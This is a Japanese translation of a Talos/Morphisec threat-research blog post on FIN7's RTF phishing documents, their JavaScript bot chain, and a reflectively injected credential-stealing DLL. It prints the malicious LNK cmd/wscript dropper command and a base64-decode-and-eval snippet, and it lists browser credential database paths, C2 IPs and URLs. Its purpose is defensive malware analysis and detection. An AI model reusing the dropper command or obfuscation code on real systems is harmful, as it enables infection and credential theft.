執筆者:Michael Gorelik、Josh Reynolds
エグゼクティブ サマリー
このブログ記事では、新たに発見された RTF ドキュメント ファミリについて詳細に説明します。このドキュメントを使用しているのは、金融、ホテル業界、医療業界をターゲットに金銭目的で活動を行っている FIN7 グループ(別名「Carbanak ギャング」)というグループです。このドキュメントはフィッシング キャンペーンで使用され、複数の難読化メカニズムと高度な手法を含む一連のスクリプト言語を実行して、従来のセキュリティ メカニズムをバイパスします。ドキュメントには、ユーザに埋め込みオブジェクトをクリックさせようと誘導するメッセージが含まれています。クリックすると、情報を窃取するマルウェアの亜種にシステムを感染させるためのスクリプトが実行されます。そしてこのマルウェアによって、一般的なブラウザやメール クライアントからパスワードが盗まれ、攻撃者がアクセスできるリモート ノードへと送信されます。これらの高度なメカニズムと情報を窃取するマルウェアについて、詳しく説明します。また、これらのドキュメント ファミリを検出するために AMP for Endpoints や Threat Grid 製品群で使用されている複数の静的および動的検出メカニズムについても解説します。
はじめに
2017 年 6 月 9 日、Morphisec Lab が新しい感染ベクトルの手法について詳細に説明したブログ記事を発表しました。これは、JavaScript の OLE オブジェクトが埋め込まれた RTF ドキュメントに関するものです。そのドキュメントがクリックされると、JavaScript で構成される感染チェーンが起動し、最終的にはシェルコードのペイロードによって、リモートのコマンド & コントロール サーバから DNS を利用して追加のシェルコードがロードされます。今回、Morphisec Lab とシスコの Research and Efficacy Team との共同記事で、この新しいドキュメント亜種についての詳細を公表します。この亜種は、LNK の埋め込まれた OLE オブジェクトを使用し、ドキュメント オブジェクトから JavaScript ボットを抽出した上で、PowerShell を使用してメモリ内に情報を窃取する DLL を注入します。詳細を発表することで、検出を避けるために攻撃ごとに手法を変える FIN7 のような高度なグループの攻撃方法について詳細な情報を提供するとともに、AMP for Endpoints および Threat Grid 製品群の検出能力について実証します。現在、絶え間なく変化する脅威が、複数の業種で日常的に影響を及ぼしており、このような現状を考慮しました。
感染ベクトル
私たちが確認したドロッパーの亜種は、LNK ファイルを利用し、Word ドキュメント オブジェクトからの JavaScript チェーンの起点として wscript.exe を実行します。
C:\Windows\System32\cmd.exe..\..\..\Windows\System32\cmd.exe /C set x=wsc@ript /e:js@cript %HOMEPATH%\md5.txt & echo try{w=GetObject("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'l'](w.ActiveDocument.Shapes(1).TextFrame.TextRange.Text);}catch(e){}; >%HOMEPATH%\md5.txt & echo %x:@=%|cmd
このチェーンには、Base64 でエンコードされた JavaScript ファイルが相当数含まれており、それらが JavaScript ボットの各コンポーネントを構成します。また、情報を窃取するマルウェアの亜種である DLL を、反射的に注入する PowerShell コードも含まれています。これについて詳しく説明します。
JavaScript の比較
デコードされた JavaScript 機能のクラスタ解析
これらのドキュメントはいずれも、1 ファイルで 40 もの JavaScript ファイルを生成します。類似の手法を特定するため、私たちは、R のライブラリである ggplot と ggiraph を利用してクラスタ解析を行い、対象となる JavaScript ファイルのエントロピーと Base64 のデコーディング深度を使った散布図にそれぞれのファイルを位置づけました。
解析結果について解説する前に、JavaScript ファイルのクラスタリングとプロットに使用した値について説明します。
Base64 エンコーディング
JavaScript の難読化の大半は、入れ子構造の Base64 エンコーディングによって行われています。Base64 は、バイナリをテキストに変換するエンコード方式で、どんな種類のデータにも使用できます。今回のドキュメントでは、JavaScript の機能をエンコードするのに、この Base64 でのエンコーディングが複数回使われています。その目的はおそらく、JavaScript 命令のエミュレートを限られた回数しか繰り返せない従来のウイルス対策ソフトウェアの一般的な分析手法を回避するためと考えられますBase64 の BLOB がハードコードまたはカンマ区切りされた後、それが連結、デコードされ、次に実行される JavaScript コードを構成します。そして、ActiveXObject を CDO.Message で呼び出した上で、ContentTransferEncoding に base64 を指定することでデコードされます(Charset の windows-1251 がキリル文字であることに注意してください。このことから、発生源がロシアである可能性が考えられます)。
function b64dec(data){
var cdo = new ActiveXObject("CDO.Message"); var bp = cdo.BodyPart; bp.ContentTransferEncoding = "base64"; bp.Charset = "windows-1251"; var st = bp.GetEncodedContentStream(); st.WriteText(data); st.Flush(); st = bp.GetDecodedContentStream(); st.Charset = "utf-8"; return st.ReadText; }
その後、たとえば下記のように、難読化関数が呼び出されて評価されます。
MyName.getGlct()[String.fromCharCode(101)+'va'+'l'](b64dec(energy));
このような Base64 のデコード手順により、JavaScript ボットの機能がさまざまに分岐して実行され、情報を窃取する DLL がメモリへ注入されます。
図 1:JavaScript と DLL インジェクションを使用したドキュメント感染チェーンの詳細
JavaScript のエントロピー
エントロピーとは、一定量のデータ内における不規則性と不確実性について算定するものです。今回のケースでは、抽出された JavaScript ファイルを、このような算定に基づいて関連付けすることにしました。調査対象のさまざまなドキュメントに同じような機能が含まれているにもかかわらず、難読化メカニズムが施されているために、クラスタ解析が難しくなっているからです。私たちは、Ero Carrera のブログに掲載されている、Python の次の演算を使用しました。
import math def H(data): if not data: return 0 entropy = 0 for x in range(256): p_x = float(data.count(chr(x)))/len(data) if p_x > 0: entropy += - p_x*math.log(p_x, 2) return entropy
この演算をそれぞれの JavaScript ファイルについて行い、その値を次のセクションの散布図の X 軸で表します。
クラスタリングおよび JavaScript 機能の散布図
まず、ドロッパーの DLL を含んでいないドキュメントを初期のセットとして始めました。各ファイルを生成するために必要な Base64 デコーディングの量を計算し(Y 軸)、それぞれのエントロピーを計算しました(X 軸)。その後、散布図内のそれぞれのグルーピングについて検討し、対応する機能に赤で印を付けました。
図 2:エントロピーと Base64 のデコーディング深度を使用した散布図
散布図からいくつかの結論が導かれました。
- Base64 のデコーディング深度が大きいほど、より興味深い機能を示しています(予想どおり)。
- ボット機能や C2 通信用の JavaScript は、デコーディング深度およびエントロピーの値が近い複数のファイル セットの中に含まれています。
- タスク スケジューリング機能については、深度とエントロピーが異なります(2 つのケースが分散している)。
次に、全体が Base64 でエンコードされ、圧縮された DLL を送る第 2 世代のドキュメントに対して、同じ手法を使いました。
図 3:PowerShell DLL ドキュメントの散布図
外れ値となっているのは、デコードされた DLL と XML タスク ファイルです。これらのコンポーネントを(JavaScript のみを残して)散布図から削除すると、第 1 世代のドキュメントに類似したクラスタが現れます。
図 4:PowerShell DLL ドキュメントの変更後のプロット
クラスタの数とエントロピーの範囲から、この世代のドキュメントにはさまざまな機能と深度を持つファイルがより多く含まれていることがわかります。このプロット手法により、外れ値を示すことで新しい機能を識別する方法も提供されました。たとえば、「PS 外れ値」と記した外れ値には、DLL 注入のための最終的な PowerShell を提供する BLOB ではなく、エンコードされた PowerShell バイトの列が含まれています。
図 5:エントロピーの外れ値により識別された新しい PowerShell 機能
JavaScript 難読化の変更
類似の機能をクラスタリングしたところ、生成されたドキュメント間で変更が行われていたことが明らかになりました。変数名と GUID パスが変更されています。
図 6:変数と GUID パスに関する JS の変更
この機能からも、一部のエミュレーション エンジンで無視される可能性のある興味深い難読化メカニズムが浮かび上がります。評価された JavaScript の関数本体は、複数行のコメント内に入っているように見えますが、実際には複数行の文字列として評価されます。Chrome のスクリプト コンソールでテストすると下記のように表示されます。
図 7:JavaScript の複数行コメント文字列による難読化
関数が並べ替えられています。
図 8:並べ替えられた関数の例
コマンド & コントロール アドレスが変更されています。
図 9:変更されたコマンド & コントロール アドレス
散布図で示されているように、たとえば PowerShell の書き込みや実行機能などでは、Base64 エンコーディングの深度がさまざまに異なっています。
図 10:Base64 デコーディングの深度が異なる PowerShell の書き込みおよび実行機能
比較するとデコーディング深度は異なっていますが、機能は同じです。
図 11:PowerShell 書き込みおよび実行機能のコードの比較
情報を窃取する DLL
DLL の復元
これらの JavaScript「デコーディング チェーン」の最終コンポーネントの 1 つに、PowerShell の DLL を反射的に注入するスクリプトがあり、Powersploit の Invoke-ReflectivePEInjection からコピー ペーストされた関数が含まれています。DLL は、Base64 の BLOB をデコードすることで難読化が解除され、IO.Compression.DeflateStream を使用して、得られたバイト列の圧縮を解除します。DLL の復元は、その圧縮解除されたバイト列を、[io.file]::WriteAllBytes を使用してディスクに書き込むだけで実行できます。
図 12:PowerShell ストリームの圧縮解除とディスクへの DLL の書き込み
図 13:コピー ペーストされた PowerSploit の Invoke-ReflectivePEInjection コード
情報を窃取する DLL の機能
私たちは、2016 年 8 月に H1N1 ドロッパーに関するブログ記事を書きました。この記事では、複数の 32 ビット値の XOR、ADD、SUB による文字列の難読化手法を扱う文字列の難読化解除スクリプトについて言及していました。このスクリプトでは、この情報を窃取する DLL においても同様の機能を実行することができます。
図 14:Firefox の文字列のデコーディング
インポート ハッシュ機能には、所定の DLL のエクスポート テーブルの解決が含まれます(パッカー/マルウェアに共通)。
図 15:PowerShell の注入された DLL ハッシュ機能の PE オフセット
次に、所定のエクスポート値に XOR および ROL アルゴリズムを使用して、解決すべきエクスポートに与えられたハッシュと比較します。
図 16:PowerShell の注入された DLL ハッシュ アルゴリズム
この DLL にも同様の情報を窃取する機能が含まれています。たとえば、キャッシュされた URL のハッシュによる CryptUnprotectData を使用した Intelliform データの復号などです。
図 17:PowerShell の注入された DLL の Intelliform データの窃取
このバイナリには、Outlook と Firefox の情報窃取機能や、Google Chrome、Chromium、Chromium 系、Opera の各ブラウザからログイン情報を盗む機能も含まれています。後者について次のセクションで説明します。
Chrome、Chromium、Opera のクレデンシャルの窃取
Chrome、Chromium、Chromium 系ブラウザ、Opera のクレデンシャルの窃取機能では、[Database Path]\Login Data sqlite3 のデータベースが開かれ、URL、ユーザ名、パスワードのフィールドが読み取られます。そして、CryptUnprotectData が呼び出され、ユーザのパスワードが復号されます。データベースを確認するために、%APPDATA%、PROGRAMDATA%、LOCALAPPDATA% の下の次のパスがチェックされます。
- \Google\Chrome\User Data\Default\Login Data
- \Chromium\User Data\Default\Login Data
- \MapleStudio\ChromePlus\User Data\Default\Login Data
- \YandexBrowse\User Data\Default\Login Data
- \Nichrom\User Data\Default\Login Data
- \Comodo\Dragon\User Data\Default\Login Data
Opera は Chromium から派生したものではありませんが、最新バージョンでは、パス \Opera Software\Opera Stable\Login Data の下に、クレデンシャルが同じ実装で置かれます。
窃取されたデータのコマンド & コントロール
JavaScript ボット機能に加えて、窃取されたデータが %APPDATA%\%USERNAME%.ini にダンプされ、ファイル作成日時を ntdll.dll と同じ日時に設定します。このデータは、SimpleEncrypt 関数を使用して読み取られた上で暗号化されます。この関数は、名前が示すように、単純な置換暗号です。
図 18:コマンド & コントロール データの置換暗号
次に、ハードコードされたコマンド & コントロールアドレス(Google Apps の Script ホスティング サービスなど)に、これがポストされます(alfIn 変数宣言にも注目してください。これは置換暗号に使用されるアルファベットです)。
図 19:コマンド & コントロール データを抽出する JavaScript 機能
ここでもコメント ブロックによる回避手法が使用されています。
AMP カバレッジ
このような脅威に対処するには、静的アクティビティと動的アクティビティの両方を使用して悪意あるアクティビティを検出できる、AMP for Endpoints および Threat Grid 製品群が最適です。
AMP Threat Grid
Threat Grid では、ドキュメント内に埋め込まれた OLE オブジェクトをクリックすることなく、静的属性だけを使用して、潜在的な悪意のあるアクティビティに関する情報を得ることができます。埋め込まれている機能が、Threat Grid によって自動的に抽出されます。この例では、埋め込まれた LNK OLE オブジェクトに、悪意あるコマンドが含まれている可能性があり、クリックするとそれが実行されます。
図 20:ドキュメントの LNK コマンド プロンプトに関する静的属性
図 21:アクティブなドキュメントの LNK の静的属性
[Word ドキュメント内の埋め込みオブジェクトを開く(Open Embedded Object in Word Document)] プレイブックを使用して、Threat Grid の実行中にドキュメント内の OLE オブジェクトをクリックすることができます。これを [送信(submission)] ドロップダウン メニューから選択すると、埋め込まれたオブジェクトが Threat Grid 実行中に自動的に実行されます。
図 22:[送信(submission)] メニューからプレイブックを選択
この自動的なユーザ インタラクションは下図のように行われます。
図 23:プレイブックを通じてドキュメント OLE オブジェクトをクリック
クリックすると、追加のふるまいの兆候が、動的なふるまいに基づいてトリガーされます。
図 24:OLE オブジェクトのクリックにより生じた動的アクティビティ
タスク作成(コンポーネントを定期的に実行するために JavaScript ボットによって使用される)も観察できます。
図 25:タスク作成動的アクティビティ
定期的に実行される JavaScript コンテンツが Artifacts セクションに見られます。これをダウンロードあるいは再送信して詳しく分析することもできます。
図 26:書き込まれた JavaScript Artifact オブジェクト
この情報が AMP クラウドに再統合され、同様の攻撃方法のターゲットになる可能性のあるすべての顧客の保護に役立てられます。
AMP for Endpoints
AMP for Endpoints では、複数の方法で動的アクティビティを観察することができます。その 1 つが、コマンド ライン引数のキャプチャです。引数がキャプチャされると、解析のため AMP クラウドに送られます。今回のケースでは、OLE オブジェクトをクリックしたときに wscript.exe の実行を観察することができました。
図 27:AMP for Endpoints デバイス トラジェクトリでキャプチャされたコマンド ライン引数
これにより侵害の兆候がトリガーされ、それをさらに詳しく調べることができます。
図 28:キャプチャされたコマンド ライン引数からの侵害の兆候
まとめ
FIN7 グループは、Microsoft Windows のほとんどのバージョンに付属している従来のテクノロジーを使用してさまざまな業界を狙う、高度な攻撃者の一例です。彼らは、Microsoft Word ドキュメントを使用してマルウェア プラットフォーム全体を送ることで、スクリプト言語を通じて ActiveX コントロールにアクセスし、「ファイルレス」な手法により、ポータブルな実行可能ファイルをディスクに接続させることなく、PowerShell を使用して送信された実行可能ファイルをメモリに注入することができます。また、JavaScript のクラスタ解析により、FIN7 がさまざまな方法でリリースごとに小さな変更を行っていることが実証されるとともに、外れ値からは大きな変更が行われていることも示されました。静的および動的な属性の観察を通して、私たちは埋め込み OLE オブジェクトに基づく侵害の兆候を明確にすることができました。これを FIN7 のドキュメントの識別や類似の機能を使うドキュメントの識別に使用すれば、お客様の保護に役立てることができます。
カバレッジ
Talos では、この脅威に対処するために次の Snort ルールをリリースしています。今後、脆弱性に関する新たな情報が追加されるまでの間は、ルールが追加されたり、現行のルールが変更されたりする場合がありますのでご注意ください。Firepower のお客様は、SRU を更新して最新のルール セットをお使いください。オープンソース Snort サブスクライバ ルール セットをお使いであれば、Snort.org で購入可能な最新のルール パックをダウンロードすることで、システムを最新状態に維持できます。
Snort ルール:44430-44433
お客様がこの脅威を検出してブロックできる別の方法を以下に記載します。
Advanced Malware Protection(AMP)は、これらの攻撃者によるマルウェアの実行の阻止に最適です。
CWS や WSA の Web スキャンは、悪意のある Web サイトへのアクセスを阻止し、それらの攻撃に使用されたマルウェアを検出します。
E メール セキュリティ は、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。
NGFW や NGIPS、および Meraki MX などのネットワーク セキュリティ アプライアンスにより、この脅威に関する悪意のあるアクティビティを検出できます。
AMP Threat Grid は、悪意のあるバイナリを特定し、すべてのシスコ セキュリティ製品に保護機能を組み込みます。
シスコのセキュア インターネット ゲートウェイ(SIG)である Umbrella は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。
侵害の兆候
JavaScript ボット ドキュメント
6bc8770206c5f2bb4079f7583615adeb4076f2e2d0c655fbafedd9669dc3a213
df22408833b2ae58f0d3e2fe87581be31972ef56e0ebf5efafc4e6e0341b5521
2b4991b2a2792436b50404dcf6310ef2af2573505810ebac08e32f17aee3fbbe
ebca565e21a42300e19f250f84b927fa3b32debf3fe13003a4aa5b71ed5cbee9
6604d806eb68fdf914dfb6bbf907a4f2bd9b8757fc4da4e7c5e4de141b8d4e2c
PowerShell の DLL 注入を伴う JavaScript ボット ドキュメント
91f028b1ade885bae2e0c6c3be2f3c3dc692830b45d4cf1a070a0bd159f1f676
ad578311d43d3aea3a5b2908bc6e408b499cc832723225ff915d9a7bc36e0aa4
fadb57aa7a82dbcb2e40c034f52096b63801efc040dd8559a4b8fc873bc962a1
91f028b1ade885bae2e0c6c3be2f3c3dc692830b45d4cf1a070a0bd159f1f676
74a5471c3aa6f9ce0c806e85929c2816ac39082f7fea8dbe8e4e98e986d4be78
f73c7ed3765fec13ffd79aef97de519cfbd6a332e81b8a247fe7d1ccb1946c9c
コマンド & コントロールの IP
104[.]232[.]34[.]36
5[.]149[.]253[.]126
185[.]180[.]197[.]20
195[.]54[.]162[.]79
31[.]148[.]219[.]18
Google Apps スクリプトのコマンド & コントロールの URL
hXXps://script[.]google[.]com/macros/s/AKfycbxvGGF-QBkaNIWCBFgjohBtkmyfyRpvm91yCGEvzgDvAJdqfW8_/exec
hXXps://script[.]google[.]com/macros/s/AKfycbz6dmNJfCPwFchoq6WkJsMjQu22SJTJ9pxMUeQR7bCpmJhW6Bg2/exec
hXXps://script[.]google[.]com/macros/s/AKfycbwkNc-8rk0caDWO5I4KMymvOXVinfOpR1eevZ63xiXDvcoqOE6p/exec
hXXps://script[.]google[.]com/macros/s/AKfycbxyiIBW9SHUFV4S5JM6IW-dmVADFOrTJDM7bZspeBf2Kpf4IN0/exec
本稿は 2017年9月27日に Talos Group のブログに投稿された「FIN7 Group Uses JavaScript and Stealer DLL Variant in New Attacks」の抄訳です。